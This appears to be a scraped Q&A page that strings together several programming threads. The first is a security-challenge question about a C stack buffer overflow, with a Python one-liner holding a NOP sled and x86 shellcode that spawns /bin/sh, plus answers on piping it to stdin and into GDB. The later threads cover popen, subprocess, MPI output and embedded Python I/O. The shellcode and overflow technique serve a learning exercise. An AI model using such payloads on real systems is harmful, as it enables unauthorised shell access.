I need to control the input of a simple program written in C. I'm working on a Linux virtual machine (it's a computer security challenge) and I'm using GDB to find a good exploit (in this case it's a buffer overflow).
Here's the code:
static const char KEY[] = "BLOCKCHAIN";
void vuln(){
int i;
char buffer[616];
int output = fread(buffer, 1, 4*1024, stdin);
for (i = 0; i < 616; i++) {
buffer[i] ^= KEY[i % sizeof(KEY)];
}
printf("%s\n", buffer);
}
int main(int argc, char *argv[]){
vuln();
exit(0);
}
The line I want to cover is int output = fread(buffer, 1, 4*1024, stdin);. Is there a way to control the input of that program (so the input stream) with a simple script? I want to do something like:
./vuln_program `python -c 'print("\x90"*923+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x48\xbf\xff\xff")'`
This works if It were an argument of the main but unfortunately I'm inside the vuln() function and can't do this. Professors suggested to use: Python's subprocess module, or read\write from\to a named pipe (mkfifo), or the process module of theuse the pwntools Python library but I don't know how to use them in this scenario.
Thanks in advance.
You can do something like
$ python -c "exploit code" | ./vuln
Everything generated by python will be in arguments not in stdin. If you need to pass something to stdin you need to do: ./vuln_program < file_with_stdin_data
it doesn't need python at all to put some defined data to input stream, you can have data in normal file.
You can use python subprocess module to communicate with your script. Then you need to create subprocess and write something to its stdin. Check for python doc this:
As #blinkofaneye said, the simplest solution is using $ python -c "exploit code" | ./vuln
If you have to do it inside GDB (like me) as already suggested in this question Run a python command with “run” on GDB, the trick is to enter GDB and than use "Here strings":
run <<< $(python -c "print('exploit code')")
Related
I have 2 files - a .cpp file and a .py file. I use system("python something.py"); to run the .py file and it has to get some input. How do I pass the input back to the .cpp file? I don't use the Python.h library, I have two separate files.
system() is a very blunt hammer and doesn't support much in the way of interaction between the parent and the child process.
If you want to pass information from the Python script back to the C++ parent process, I'd suggest having the python script print() to stdout the information you want to send back to C++, and have the C++ program parse the python script's stdout-output. system() won't let you do that, but you can use popen() instead, like this:
#include <stdio.h>
int main(int, char **)
{
FILE * fpIn = popen("python something.py", "r");
if (fpIn)
{
char buf[1024];
while(fgets(buf, sizeof(buf), fpIn))
{
printf("The python script printed: [%s]\n", buf);
// Code to parse out values from the text in (buf) could go here
}
pclose(fpIn); // note: be sure to call pclose(), *not* fclose()
}
else printf("Couldn't run python script!\n");
return 0;
}
If you want to get more elaborate than that, you'd probably need to embed a Python interpreter into your C++ program and then you'd be able to call the Python functions directly and get back their return values as Python objects, but that's a fairly major undertaking which I'm guessing you want to avoid.
I am a beginner C++ and MPI user. I am working in an HPC environment and need to do the following:
Use a C++ code to get the processor rank.
Pass rank to a bash script.
Feed a python script this rank value and run it (from the bash script).
This is the code I have written:
C++ (file name- cpp2bash_test.cpp):
#include <iostream>
#include <mpi.h>
int main(int argc, char** argv)
{
MPI_Init(&argc, &argv);
int size, rank;
MPI_Status status;
MPI_Comm_size(MPI_COMM_WORLD, &size);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
cout << rank << endl;
MPI_Finalize();
return 0;
}
I compile the file as:
mpicxx -g -std=c++14 -o PRank cpp2bash_test.cpp
Bash:
#!/bin/sh
result=$(./PRank)
python3 bash2py_test.py $result
Finally, I submit the bash script as a PBS job. Here is the output file:
The line "Argument accepted= " is from the python script which simply accepts the rank and prints it.
To better understand why the python script gets a weird value, I changed the shell script to not accept any input from the C++ code. Instead, the C++ code simply printed its output. This is a partial screenshot of what I see in the output file:
The Python file output(not shown in the second image) is still similar to the one shown previously.
I googled for that warning but I did not really understand much of what I got to read. In fact, I don't even know if what I am reading is relevant to my problem.
I suspect that the full output from the C++ code contains the warning which, when passed to Python, gets truncated to just those weird values inside the square brackets. How do I remove these warnings and pass the right values to the python script?
Note that for most queue systems, there are system variables being set that indicate process rank. Once inside your script (that is started as MPI) you should be able to get it from the environment (you have to look into your queue system manual).
Another way is to produce some wrapped log and grep for the info, e.g.:
cout << "RANK:" << rank << endl;
Then, you can do something like this:
result=$(echo "RANK:2" | grep RANK | cut -f2 -d':')
echo $result
in your case it will be
result=$(./PRank | grep RANK | cut -f2 -d':')
echo $result
I am trying to take aspects of two different scripts and use them in a single C++ program (using Ubuntu). The problem I have is that one of the scripts is written in C++ and the other is written in python. I have been trying to accomplish this using the Python.h library, but (being fairly new to programming), I cannot find any resources that would allow me to open the python file in C++. Does anyone have any suggestions?
As an example, I want to do something like the following:
#include <python2.7/Python.h>
//include other stuff
int main (int argc, char *argv[])
{
//open python script here
//use result from python script here
}
Thanks!
You should use popen, it pipes stdin/stdout of child process to returned file handle. Now what you can do is
File* in = popen("python script_name.py", "r");
Now you can use this FILE* to read the output of your python script.
Than you can use fscanf(in, buffer_size, buffer) of fgets(buffer, buffer_size, in) to read from file. Finally after reading from file don't forget to call pclose(in).
I guess my problem is fairly straight-forward, however I can't find a way to solve it. My process is the following:
I run a Python script: Test.py.
Within that script, I am calling a c++ program.
Test.py:
RunCprogram = "./Example"
os.system(RunCprogram)
I want that ./Example executable to return a double that can be used later in my Python script. What is the best way to do that?
First of all, make sure Example outputs the desired data to stdout. If it's not, you can do nothing about it.
Then use the Python's subprocess module.
import subprocess
res=subprocess.check_output(["./Example"], universal_newlines=True)
If res contains a newline at the end, remove it with res.strip(). Finally, cast res to float with float(res).
Here's a small example based on #ForceBru answer:
example.cpp, compile with g++ example.cpp -o example
#include <iostream>
int main() {
std::cout << 3.14159 ;
return 0;
}
example.py
#!/usr/local/bin/python
import subprocess
res = subprocess.check_output(["./example"], universal_newlines=True)
print "The value of 2*" + u"\u03C0" + " is approximately " + str(2*float(res))
I am having some trouble getting Python IO redirected to a console that I've allocated for my Win32 app. Is there a Python-specific stream that I need to redirect?
Here's more-or-less what I'm doing now (error checking removed, etc.):
int __stdcall WinMain(/*Usual stuff here*/) {
// Create the console
AllocConsole();
SetConsoleTitle(L"My Console");
// Redirect Standard IO Streams to the new console
freopen("CONOUT$","w",stdout);
freopen("CONOUT$","w",stderr);
freopen("CONIN$","r",stdin);
// Test the console:
printf("This Works.\r\n");
cout << "So Does this" << endl;
// Python Stuff (This is where it fails)
Py_Initialize();
PyRun_SimpleString("print('I don't work.')\n");
Py_Finalize();
}
If I run the same thing but as a console app (Visual Studio 05, BTW) and remove the AllocConsole call everything works. Anyone know what I'm missing?
EDIT: Just for clarification, I am looking for a way to do it from the C API.
YET ANOTHER EDIT: Alex's solution is correct, but for anyone out there using Python 3.x you'll probably notice that the PyFile_FromString function is missing in the new API. While it may not be the best alternative, I found that this works fine in Python 3.x:
PyObject* sys = PyImport_ImportModule("sys");
PyObject* io = PyImport_ImportModule("io");
PyObject* pystdout = PyObject_CallMethod(io, "open", "ss", "CONOUT$", "wt");
if (-1 == PyObject_SetAttrString(sys, "stdout", pystdout)) {
/* Announce your error to the world */
}
Py_DECREF(sys);
Py_DECREF(io);
Py_DECREF(pystdout);
Set sys.stdout on the Python side (presumably to an open('CONOUT$', 'wt')) to make Python's print work, and similarly for sys.stderr and sys.stdin. (There are faster ways to make this happen from a C extension, but the simplest way is to just execute the Python statements, with a import sys in front;-).
Why: because Python's runtime, on startup, found the standard FDs closed, set sys.stdout and friends accordingly, and is not going to check again and set them differently -- so you just set them yourself, explicitly, and it will be fine.
If you're keen to do it all at C-API level, it will take a few lines, but of course it can be done...
PyObject* sys = PyImport_ImportModule("sys");
PyObject* pystdout = PyFile_FromString("CONOUT$", "wt");
if (-1 == PyObject_SetAttrString(sys, "stdout", pystdout)) {
/* raise errors and wail very loud */
}
Py_DECREF(sys);
Py_DECREF(pystdout);
this is the exact equivalent of the single Python line:
sys.stdout = open('CONOUT$', 'wt')
It is much easier to just tell the embedded python to redirect its output to a file.
Try this code:
PyRun_SimpleString("import sys\n");
PyRun_SimpleString( "sys.stdout = sys.stderr = open(\"C:\\embedded_log_file.txt\", \"w\")\n" );